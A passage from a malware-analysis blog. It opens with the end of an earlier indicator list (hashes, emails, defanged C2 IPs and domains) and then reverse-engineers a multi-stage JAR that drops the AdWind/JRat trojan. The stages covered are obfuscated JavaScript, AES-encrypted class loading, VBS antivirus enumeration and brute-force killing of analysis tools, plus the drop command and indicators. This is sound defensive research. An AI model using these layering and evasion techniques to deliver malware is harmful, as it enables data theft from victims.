  • 79005f3a6aeb96fec7f3f9e812e1f199202e813c82d254b8cc3f621ea1372041 (Nuovo Documento1.zip)
  • 92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c (rEOuvWkRP.exe)
  • 84f3a18c5a0dd9af884293a1260dce1b88fc0b743202258ca1097d14a3c9d08e (Stage 3.exe)
Windows Services Names:
  • WSearch
  • WerSvc
Involved eMails:
  • 890808977777@mail.ru
  • willi12s@post.com
Involved IPs:
  • 198[.]54[.]116[.]126 (Dropper Stage 2)
  • 195[.]123[.]237[.]123 (C2 level_1)
  • 185[.]212[.]47[.]9 (C2 level_1)
  • 52[.]151[.]62[.]5 (C2 level_1)
  • 185[.]154[.]53[.]185 (C2 level_1)
  • 185[.]212[.]44[.]209 (C2 level_1)
  • 195[.]123[.]237[.]123 (C2 level_1)
  • 185[.]158[.]251[.]173 (General Netwok DB)
  • 185[.]183[.]162[.]92 (Orchestrator CPANEL)

Involved Domains:
  • http://englandlistings[.]com/pagverd75.php (Dropper Stage 2)
  • https://pool[.]jfklandscape[.]com  (C2 level_1)
  • https://pool[.]thefutureiskids[.]com (C2 level_1)
  • https://next[.]gardenforyou[.]org (C2 level_1)
  • https://1000numbers[.]com (C2 level_1)
  • https://batterygator[.]com (C2 level_1)
  • https://beard-style[.]com (C2 level_1)
  • https://pomidom[.]com (C2 level_1)
  • http://upsvarizones.space/ (C2 level_1)
  • http://romanikustop.space/ (C2 level_1)
  • http://sssloop.host/ (C2 level_1)
  • http://sssloop.space/ (C2 level_1)
  • http://securitytransit.site/ (Orchestrator CPANEL)

*Actually it was not the whole network, a couple of external systems were investigated as well.

Monday, August 20, 2018

Interesting hidden threat since years ?

Today I'd like to share the following reverse engineering path since it ended up to be more complex respect what I thought. The full path took me about hours work and the sample covers many obfuscation steps and implementation languages. During the analysis time only really few Antivirus (6 out of 60) were able to "detect" the sample. Actually none really detected it, but some AVs triggered "generic unwanted software" signature, without being able to really figure it out. As usually I am not going to show you who was able to detect it compared to the one who wasn't, since I wont ending on wrong a declarations such as (for example): "Marco said that X is better than Y".  Anyway, having the hash file I believe it would be enough to search for such information.

AntiVirus Coverage


The Sample (SHA256: e5c67daef2226a9e042837f6fad5b338d730e7d241ae0786d091895b2a1b8681) presents itself as a JAR file. The first thought that you might have as experienced malware reverse engineer would be: "Ok, another byte code reversing night, easy.. just put focus and debug on it...". BUT surprisingly when you decompile the sample you read the following class !

Stage1: JAR invoking JavaScript
A Java Method that invokes (through evals) an embedded "Javascript" file ! This is totally interesting stuff :D. Let's follow up on stages and see where it goes. The extracted Javascript (stage 2) looks like the following image. The "OOoo00" obfuscation technique have been used. Personally I do not like this obfuscation technique it's harder to reverse respect to different obfuscation techniques, even the CTR-F takes confused on substrings, but we need to figure out what it does, so let's try to manually substitute every string and watch-out for matching substrings (in order words %s/OOoo00/varName/g wont work at all.

Stage 2: evaluated Javacript (obfuscated)
Manually substitution takes "forever" if you do not have a substitution framework which asks you for a string, it replace such string (and not a substring) and eventually represents the new beautified JavaScript. After many substitutions (I really have no idea how many :D) you land on a quite readable JavaScript  as the following one (click on it to make it bigger).

Stage 2: Manually Deobfuscated JavaScript
What is interesting (at least in my personal point of view) is the way the attacker (ab)used the JS-JVM integration. JavaScript takes the Java context by meaning it might use Java functions calling contextual java classes.  In this stage the JavaScript is loading an encrypted content from the original JAR, using a KEY decrypts such a content and finally loads it (Dynamic Class Loader) on memory in order to fire it up as a new Java code. The used encryption algorithm is AES and everything we need to decrypt is in this file, so let's build up a simple python script to print our decryption parameters. The following image shows the decoding script made to easily reconstruct AES-KEY and surrounded parameters. NB: The written python code is not for production, is not protected and full of imprecisions. I made it up just for decode AES key and such, so don't judge it, take it as a known weak but working dirty code.
Python Script to Decode AES-KEY

We now have every decoding parameter, we just need to decrypt the classes by using the following data:
  • ClassName
  • Resource (a.k.a package in where it will be contextualised)
  • Byte to be decrypted
  • Secret Key
  • Byte Length to be decrypted
A Simple Java Decrypter has been developed following the original Malware code. Once run, the following code was decrypted. 

Stage 3 Decrypted JavaClass
Here my favourite point. As you might appreciate from the previous image we are facing a new stage (Stage 3). What is interesting about this new stage is in the way it reflect the old code. It is a defacto replica of the Stage 2. We have new classes to be decrypted (red tag on the image), the same algorithm (orange label on the image), a new KEY (this time is not derived by algorithm as was in Stage 2 but simply in clear text, orange tag on the image) and the same reflective technique in which attacker dynamically loads memory decrypted content on Java.loader and uses it to decrypt again a further step, and after that it replies the code again and again. There is an interesting difference although, this stage builds up a new in memory stage (let's call Stage 4) by adding static GZIpped contents at the end of encrypted section (light blue tag on image). By using that technique the attacker can reach as many decryption stages as he desires. 

At the end of the decryption loop (which took a while, really ) the sample saves (or drops from itself, if you wish) an additional file placed in AppData - Local - Temp named: _ARandomDecimalNumber.class. This .class is actually a JAR file carrying a whole function set. The final stage before ending up runs the following command:

 java -jar _ARandomDecimalNumber.class

The execution of such a command drops on local HardDrive (AppData-Local-Temp) three new files named: RetrieveRandomNumber.vbs (2x) and RandomName.reg. The following image represents a simple 'cat' command on the just dropped files.

On Final Stage VBS Run Files

It's quite funny to see the attacker needed a new language script (he already needed Java, as original entry point, Javascript as payload decrypt and now he is using VBS ! ) to query WMI in order to retrieve installed AntiVirus and Installed Firewall information. Significative the choice to use a .reg file to enumerate tons of security tools that have been widely used by analysts to analyse Malware. The attacker enumerates 571 possible analysis tools that should not be present on the target machine (Victim). Brave, but not neat  at all (on my personal point of view).  The sample does not evade the system but it forces the System Kill of such a process independently if they are installed or not, just like Brute force Killing process. The samples enters in a big loop where it launches 571 sigKill one for each enumerated (.reg) analysis program. It copies through xcopy.exe the entire Java VM into AppData-Roaming-Oracle and by changing local environment classpath uses it to perform the following actions. It finally drops and executes another payload called "plugins".
The following image shows plugins and initial new stage JAR stage.

Final Droppe Files (_RandomDec and plugins)

At a first sight experienced Malware reverser engineer would notice that the original sample finally drops a AdWind/JRat Malware having as a main target to steal files and personal information from victims. While the AdWind/JRat is not interesting per-se since widely analysed,  this new way to deliver AdWind/JRat, it is definitely fascinating me. The attacker mixed up Obfuscation Techniques, Decryption Techniques, File-less abilities, Multi Language Stages and Evasions* Techniques in order to deliver this AdWind/JRat version.  Multiple programming styles have been found during the analysis path. Each Stage belonging with specific programming language is atomic by meaning that could be run separately and each following stage could easily consume its outputs. All these indicators make me believe the original Sample has been built by using Malware builder, which BTW, perfectly fits the AdWind philosophy to run as a service platform. 

A final consideration is about timing. Checking the VirusTotal details (remembering that only 6 on 60 AV were able to say the original JAR was malicious or unwanted) you might notice he following time line.

Detection Time Line (VirusTotal)
VT shows the first time it captured that hash (sha256): it was on 2016. But then the fist submission is on 2018-08-14 few days ago. In such a date (2018-08-14) only 6 out of 60 detected a suspicious (malicious) behaviour and triggered on red state. But what about the almost 2 years between December 2016 and August 2018 ? If we assume the Malware is 2 years old, was it silent until now (until my submission) ? Have we had technology two years ago to detect such a threat ? Or could it be a targeted attack that took almost 2 years before being deployed

I currently have no answers to such a questions, hope you might find some.

*Actually not really an evasion technique, more likely a toolset mitigation.

IoC
You will not find Command and Controls (c2) and dropping url because: (i) dropping url/s was/were not found: the sample auto-extracts contents from itself. (ii) No C2 during the delivery stage. Of course AdWind/JRat does C2 but, as explained, the analyst did not followed on the analysis of AdWind/JRat since well-known malware.
  
hash: 

  • e5c67daef2226a9e042837f6fad5b338d730e7d241ae0786d091895b2a1b8681 (Original)
  • 97d585b6aff62fb4e43e7e6a5f816dcd7a14be11a88b109a9ba9e8cd4c456eb9 (_RandomDec..)
  • 9da575dd2d5b7c1e9bab8b51a16cde457b3371c6dcdb0537356cf1497fa868f6 (Retreive1)
  • 45bfe34aa3ef932f75101246eb53d032f5e7cf6d1f5b4e495334955a255f32e7 (Retreive2)
  • 296a0ed2a3575e02ba22e74fd5f8740af4f72b629e4e50643ac0c156694a5f3c (.reg)
  • 32d28c43af1afc977b96436b7f638fba15188e6120eeaefa1ad91fb82015fd80 (plugins)


File Paths:

  • ..AppData/Local/Temp/_ARandomDecimalNumber.class
  • ..AppData/Local/Temp/RetreiveRandomNumber.vbs
  • ..AppData/Local/Temp/RetreiveRandomNumber.vbs
  • ..AppData/Local/Temp/RandomNabe.reg